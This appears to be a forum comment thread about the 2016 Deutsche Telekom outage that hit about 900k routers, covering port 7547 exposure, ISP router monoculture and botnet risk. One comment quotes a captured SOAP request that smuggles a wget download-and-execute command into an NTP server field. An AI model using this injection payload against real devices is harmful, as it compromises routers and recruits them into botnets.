Deutsche Telekom says 900k fixed-line customers suffer outages

So from <a href="https:&#x2F;&#x2F;isc.sans.edu&#x2F;diary&#x2F;Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems&#x2F;21759" rel="nofollow">https:&#x2F;&#x2F;isc.sans.edu&#x2F;diary&#x2F;Port+7547+SOAP+Remote+Code+Execut...</a><p>- this appears to be an attack on an externally visible port (7547)<p>- There is publicly available exploit code for this issue (<a href="https:&#x2F;&#x2F;www.exploit-db.com&#x2F;exploits&#x2F;40740&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.exploit-db.com&#x2F;exploits&#x2F;40740&#x2F;</a>)<p>- There are at least 41 Million hosts on the Internet with that port open.<p>Sounds like quite a few people are going to have a bad time over this, and I&#x27;m left once again shaking my head at how someone ships an Internet facing consumer device with an open port by default.....

The level of attacks seems definitely to be ramping up.<p>I think the main reason for this jump has been the fact attackers are starting to make significant money out of these attacks now - especially now they can accept funds easily via Bitcoin. Before I think attacks were mainly for the lulz or very sophisticated attackers with various goals, but there must be hundreds of millions of dollars in ransoms being paid out now.<p>Nearly anyone can now start making very good money with some simple tools. And like any business people start innovating a lot quicker with a profit motive.

POST &#x2F;UD&#x2F;act?1 HTTP&#x2F;1.1 Host: 127.0.0.1:7547 User-Agent: Mozilla&#x2F;4.0 (compatible; MSIE 6.0; Windows NT 5.1) SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text&#x2F;xml Content-Length: 526<p>&lt;?xml version=&quot;1.0&quot;?&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;<a href="http:&#x2F;&#x2F;schemas.xmlsoap.org&#x2F;soap&#x2F;envelope&#x2F;&quot;" rel="nofollow">http:&#x2F;&#x2F;schemas.xmlsoap.org&#x2F;soap&#x2F;envelope&#x2F;&quot;</a> SOAP-ENV:encodingStyle=&quot;<a href="http:&#x2F;&#x2F;schemas.xmlsoap.org&#x2F;soap&#x2F;encoding&#x2F;&quot;&gt;" rel="nofollow">http:&#x2F;&#x2F;schemas.xmlsoap.org&#x2F;soap&#x2F;encoding&#x2F;&quot;&gt;</a> &lt;SOAP-ENV:Body&gt; &lt;u:SetNTPServers xmlns:u=&quot;urn:dslforum-org:service:Time:1&quot;&gt; &lt;NewNTPServer1&gt;`cd &#x2F;tmp;wget <a href="http:&#x2F;&#x2F;l.ocal.host&#x2F;2;chmod" rel="nofollow">http:&#x2F;&#x2F;l.ocal.host&#x2F;2;chmod</a> 777 2;.&#x2F;2`&lt;&#x2F;NewNTPServer1&gt; &lt;NewNTPServer2&gt;&lt;&#x2F;NewNTPServer2&gt; &lt;NewNTPServer3&gt;&lt;&#x2F;NewNTPServer3&gt; &lt;NewNTPServer4&gt;&lt;&#x2F;NewNTPServer4&gt; &lt;NewNTPServer5&gt;&lt;&#x2F;NewNTPServer5&gt; &lt;&#x2F;u:SetNTPServers&gt; &lt;&#x2F;SOAP-ENV:Body&gt;&lt;&#x2F;SOAP-ENV:Envelope&gt;<p>#.&#x2F;2 .... busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP ...<p>next version step Mirai?<p><a href="https:&#x2F;&#x2F;www.virustotal.com&#x2F;en&#x2F;file&#x2F;ff6e949c7d1cd82ffc4a1b27e488b84e07959472ed05755548efec90df82701e&#x2F;analysis&#x2F;1480335565&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.virustotal.com&#x2F;en&#x2F;file&#x2F;ff6e949c7d1cd82ffc4a1b27e...</a>

Anyone else who thinks 900k routers, running 900k identical firmware versions, with 900k identical copies of any exploitable bugs, running on a predictable IP-range might be a bit of a problem, from a security PoV ?<p>I wish ISP&#x27;s stopped providing routers with their connections, if only to prevent this kind of dangerous monoculture.

What&#x27;s scary about this is I have 100Mbps fiber at home.<p>At some point 900,000 routers with 100Mbps fiber might be a realistic user base that would be tremendous amount of traffic to smack people and that&#x27;s without considering amplification attacks and such.<p>Thats assuming a volumetric attack, even just &quot;request foo.co.uk every half second&quot; would be catastrophic, 1.8 million requests per second would be a bit of a bugger to handle.

I also remember reports that 110 and 112 calls (German emergency numbers) were down for four hours in some county recently due to technical issues on DTs part. I never saw an explanation what the exact cause was. Fire services and police handled it decently (iirc. stuff got routed to the next city and they increased patrol cars). Still a bit alarming that there&#x27;s no fail over in place and these numbers basically rely on one company (probably routed in the fact that DT used to be state owned and is thus still implicitly trusted?).

&quot;Based on the error pattern, we cannot exclude the possibility that the routers have been targeted by external parties with the result that they can no longer register on the network.&quot; [0]<p>[0] <a href="https:&#x2F;&#x2F;www.telekom.com&#x2F;en&#x2F;media&#x2F;media-information&#x2F;archive&#x2F;information-on-current-problems-444862" rel="nofollow">https:&#x2F;&#x2F;www.telekom.com&#x2F;en&#x2F;media&#x2F;media-information&#x2F;archive&#x2F;i...</a> (this should be the threads link in my opinion)

&gt; If problems persisted Deutsche Telekom suggested customers disconnect their routers from the network<p>Actually they suggest you disconnect the router, wait a few seconds and then reconnect it.<p>It&#x27;s fixed now according to them.<p><a href="https:&#x2F;&#x2F;www.heise.de&#x2F;newsticker&#x2F;meldung&#x2F;Grossstoerung-bei-der-Telekom-Die-Telekom-prueft-Hinweise-auf-Hackerangriff-3506044.html" rel="nofollow">https:&#x2F;&#x2F;www.heise.de&#x2F;newsticker&#x2F;meldung&#x2F;Grossstoerung-bei-de...</a>

The original disclosure of the vulnerability is also an interesting read: <a href="https:&#x2F;&#x2F;devicereversing.wordpress.com&#x2F;2016&#x2F;11&#x2F;07&#x2F;eirs-d1000-modem-is-wide-open-to-being-hacked&#x2F;" rel="nofollow">https:&#x2F;&#x2F;devicereversing.wordpress.com&#x2F;2016&#x2F;11&#x2F;07&#x2F;eirs-d1000-...</a>

This is what you get for dumb and needless centralization of infrastructure inside a capitalistic system, which does not at all incentivize maintenance and providing security!

<p><pre><code> and it could not rule out &quot;targeted external factors&quot; as the reason </code></pre> Yes, and DT could also not rule out extra-terrestrial interference. But who cares?<p>It seems any large-scale enterprise incident is blamed on some other nebulous third-party these days (Russia, 400 lb men in their beds..) in order shift blame elsewhere.<p>Do the general public see through this?